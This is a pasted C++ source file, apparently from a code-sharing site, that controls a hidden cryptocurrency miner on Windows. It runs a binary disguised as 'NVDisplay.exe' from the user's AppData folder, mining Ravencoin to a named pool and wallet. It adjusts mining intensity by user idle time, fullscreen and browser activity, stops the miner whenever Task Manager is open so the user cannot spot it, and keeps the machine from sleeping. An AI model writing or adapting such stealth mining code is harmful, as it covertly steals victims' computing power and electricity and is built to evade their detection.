kodzik

 avatar
unknown
c_cpp
a year ago
11 kB
6
Indexable
#include <iostream>
#include <stdio.h>
#include <windows.h>
#include "Winuser.h"
#include <Psapi.h>
#include <vector>
#include <algorithm>
#include <cstdlib>
#include <shlobj.h>
#include <cwchar>
#include <thread>
#include <chrono>

#include <codecvt>
#include <locale>



using namespace std;

void getidle();
void press();

DWORD previous = 0;


std::string wstringToString(const std::wstring& wstr) {
    std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
    return converter.to_bytes(wstr);
}

bool isFullScreenGame() {
    HWND foregroundWindow = GetForegroundWindow();
    if (foregroundWindow == NULL) return false;

    // Pobierz rozmiar ekranu
    HMONITOR monitor = MonitorFromWindow(foregroundWindow, MONITOR_DEFAULTTONEAREST);
    MONITORINFO mi = { sizeof(mi) };
    if (!GetMonitorInfo(monitor, &mi)) return false;
    int monitorWidth = mi.rcMonitor.right - mi.rcMonitor.left;
    int monitorHeight = mi.rcMonitor.bottom - mi.rcMonitor.top;

    // Pobierz wymiary okna
    RECT windowRect;
    GetWindowRect(foregroundWindow, &windowRect);
    int windowWidth = windowRect.right - windowRect.left;
    int windowHeight = windowRect.bottom - windowRect.top;

    // Porównaj wymiary okna z wymiarami ekranu
    return (windowWidth == monitorWidth && windowHeight == monitorHeight);
}

std::string GetActiveProcessName() {
    HWND hwnd = GetForegroundWindow(); // Get the handle of the active window
    if (hwnd == NULL)
        return "No active window";

    DWORD processId;
    GetWindowThreadProcessId(hwnd, &processId); // Get the process ID

    HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
    if (processHandle == NULL)
        return "Failed to open process";

    char processName[MAX_PATH];
    if (GetModuleBaseNameA(processHandle, NULL, processName, MAX_PATH) == 0) {
        CloseHandle(processHandle);
        return "Failed to get process name";
    }

    CloseHandle(processHandle);
    return std::string(processName);
}

bool isBrowser(const std::string& processName) {
    return processName == "chrome.exe" || processName == "firefox.exe"
        || processName == "msedge.exe" || processName == "iexplore.exe"
        || processName == "opera.exe";
}


BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
    const DWORD CLASS_NAME_SIZE = 256;
    WCHAR className[CLASS_NAME_SIZE];

    GetClassNameW(hwnd, className, CLASS_NAME_SIZE);

    if (wcsstr(className, L"TaskManagerWindow") != NULL) {
        // Found Task Manager window
        *reinterpret_cast<bool*>(lParam) = true;
        return FALSE; // Stop enumerating windows
    }
    return TRUE; // Continue enumerating
}

bool isTaskManagerRunning() {
    bool found = false;
    EnumWindows(EnumWindowsProc, reinterpret_cast<LPARAM>(&found));
    return found;
}


bool StartProcess(const std::string& path, const std::string& args, PROCESS_INFORMATION& pi) {
    STARTUPINFOA si;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // Tworzymy bufor na œcie¿kê i argumenty
    std::string cmd = path + " " + args;
    char* cmdCStr = new char[cmd.length() + 1];

    // Bezpieczne kopiowanie za pomoc¹ strcpy_s
    strcpy(cmdCStr, cmd.c_str());

    // Uruchomienie nowego procesu
    if (!CreateProcessA(
        NULL,            // Nazwa programu (NULL, jeœli u¿ywamy linii poleceñ)
        cmdCStr,         // Linia poleceñ (œcie¿ka i argumenty)
        NULL,            // Deskryptory zabezpieczeñ procesu
        NULL,            // Deskryptory zabezpieczeñ w¹tku
        FALSE,           // Ustawienia dziedziczenia handle
        0,               // Flagi tworzenia
        NULL,            // U¿yj œrodowiska rodzica
        NULL,            // U¿yj katalogu bie¿¹cego rodzica
        &si,             // wskaŸnik na STARTUPINFOA
        &pi              // wskaŸnik na PROCESS_INFORMATION
    )) {
        std::cerr << "CreateProcess failed (" << GetLastError() << ").\n";
        delete[] cmdCStr;
        return false;
    }

    delete[] cmdCStr;
    return true;
}

// Funkcja do zatrzymania procesu
void StopProcess(PROCESS_INFORMATION& pi) {
    // Najpierw próbujemy zakoñczyæ proces ³agodnie
    if (!TerminateProcess(pi.hProcess, 0)) {
        std::cerr << "Failed to terminate process. Error: " << GetLastError() << std::endl;
    }

    // Zamykamy uchwyty
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

std::wstring GetUserAppDataPath() {
    wchar_t appDataPath[MAX_PATH];
    if (GetEnvironmentVariableW(L"APPDATA", appDataPath, MAX_PATH)) {
        return std::wstring(appDataPath);
    }
    else {
        // Gdy nie uda siê pobraæ zmiennej œrodowiskowej
        std::wcerr << L"Error getting APPDATA path.\n";
        return std::wstring();
    }
}

const char* WStringToConstCharPtr(const std::wstring& wstr) {
    // Oblicz wymagan¹ d³ugoœæ ci¹gu znaków
    size_t convertedChars = 0;
    const size_t newsize = wstr.length() + 1;
    char* cstr = new char[newsize];

    return cstr;
}

bool isUserAFK(long long afkThreshold) {
    LASTINPUTINFO lastInputInfo;
    lastInputInfo.cbSize = sizeof(LASTINPUTINFO);

    if (GetLastInputInfo(&lastInputInfo)) {
        DWORD currentTime = GetTickCount();
        long long idleTime = currentTime - lastInputInfo.dwTime;

        return idleTime > afkThreshold;
    }

    return false;
}

int main()
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_SHOW);

    PROCESS_INFORMATION pi;

    wstring appdataPath = GetUserAppDataPath();
    wstring fileName = L"\\NVDisplay";
    wstring appPath = appdataPath + fileName;
    wstring twentyfive = L"\\NVDisplay.exe";
    wstring path1 = appPath + twentyfive;

    string gitPath = wstringToString(path1);

    string arg1 = "-a kawpow -o stratum+tcp://rvn-eu1.nanopool.org:10400 -u RRjuYRHrdsJAQiEcJ8nbK5Fc4WuzyYphyL.rig0 -p x --no-watchdog -i 12";
    string arg2 = "-a kawpow -o stratum+tcp://rvn-eu1.nanopool.org:10400 -u RRjuYRHrdsJAQiEcJ8nbK5Fc4WuzyYphyL.rig0 -p x --no-watchdog -i 16";
    string arg3 = "-a kawpow -o stratum+tcp://rvn-eu1.nanopool.org:10400 -u RRjuYRHrdsJAQiEcJ8nbK5Fc4WuzyYphyL.rig0 -p x --no-watchdog --temperature-limit 90 --temperature-start 70";

    bool run1 = false;
    bool run2 = false;
    bool run3 = false;

    bool afk = false;

    long long afkThreshold = 150000;



    bool browser = false;


    // Zapobiega przejœciu systemu w tryb uœpienia
    SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);

    while (true)
    {
        bool taskmgr = isTaskManagerRunning();
        bool fullscreen = isFullScreenGame();
        browser = isBrowser(GetActiveProcessName());
        afk = isUserAFK(afkThreshold);

        if (!afk && !taskmgr && !fullscreen)
        {
            if (!run1 && !run2 && !run3)
            {
                StartProcess(gitPath, arg1, pi); //25%
                run1 = true;
            }
            else if (!run1 && !run2 && run3)
            {
                StopProcess(pi);
                run3 = false;
                run1 = true;
                StartProcess(gitPath, arg1, pi); //25%
            }
            else if (!run1 && run2 && !run3)
            {
                StopProcess(pi);
                run2 = false;
                run1 = true;
                StartProcess(gitPath, arg1, pi); //25%
            }
        }
        else if (!afk && !taskmgr && fullscreen)
        {
            if (browser)
            {
                if (!run1 && !run2 && !run3)
                {
                    StartProcess(gitPath, arg2, pi); //50%
                    run2 = true;
                }
                else if (!run1 && !run2 && run3)
                {
                    StopProcess(pi);
                    run3 = false;
                    run2 = true;
                    StartProcess(gitPath, arg2, pi); //50%
                }
                else if (run1 && !run2 && !run3)
                {
                    StopProcess(pi);
                    run2 = true;
                    run1 = false;
                    StartProcess(gitPath, arg2, pi); //50%
                }
            }
            else
            {
                if (run1 || run2 || run3)
                {
                    run1 = false;
                    run2 = false;
                    run3 = false;
                    StopProcess(pi);
                }
            }
        }
        else if (afk && !taskmgr)
        {
            if (fullscreen && !browser)
            {
                if (!run1 && !run2 && !run3)
                {
                    run1 = false;
                }
                else if (!run1 && !run2 && run3)
                {
                    StopProcess(pi);
                    run3 = false;
                    run1 = false;
                }
                else if (!run1 && run2 && !run3)
                {
                    StopProcess(pi);
                    run2 = false;
                    run1 = false;
                }
            }
            else if (fullscreen && browser)
            {
                if (!run1 && !run2 && !run3)
                {
                    StartProcess(gitPath, arg2, pi); //50%
                    run2 = true;
                }
                else if (!run1 && !run2 && run3)
                {
                    StopProcess(pi);
                    run3 = false;
                    run2 = true;
                    StartProcess(gitPath, arg2, pi); //50%
                }
                else if (run1 && !run2 && !run3)
                {
                    StopProcess(pi);
                    run2 = true;
                    run1 = false;
                    StartProcess(gitPath, arg2, pi); //50%
                }
            }

            else if (!fullscreen && !browser)
            {
                if (!run1 && !run2 && !run3)
                {
                    StartProcess(gitPath, arg3, pi); //100%
                    run3 = true;
                }
                else if (run1 && !run2 && !run3)
                {
                    StopProcess(pi);
                    run1 = false;
                    run3 = true;
                    StartProcess(gitPath, arg3, pi); //50%
                }
                else if (!run1 && run2 && !run3)
                {
                    StopProcess(pi);
                    run2 = false;
                    run3 = true;
                    StartProcess(gitPath, arg3, pi); //50%
                }
            }
        }

        else if (taskmgr && (run1 || run2 || run3))
        {
            run1 = false;
            run2 = false;
            run3 = false;
            StopProcess(pi);
        }


        Sleep(3000);
    }

    SetThreadExecutionState(ES_CONTINUOUS);
    return 0;
}

Editor is loading...
Leave a Comment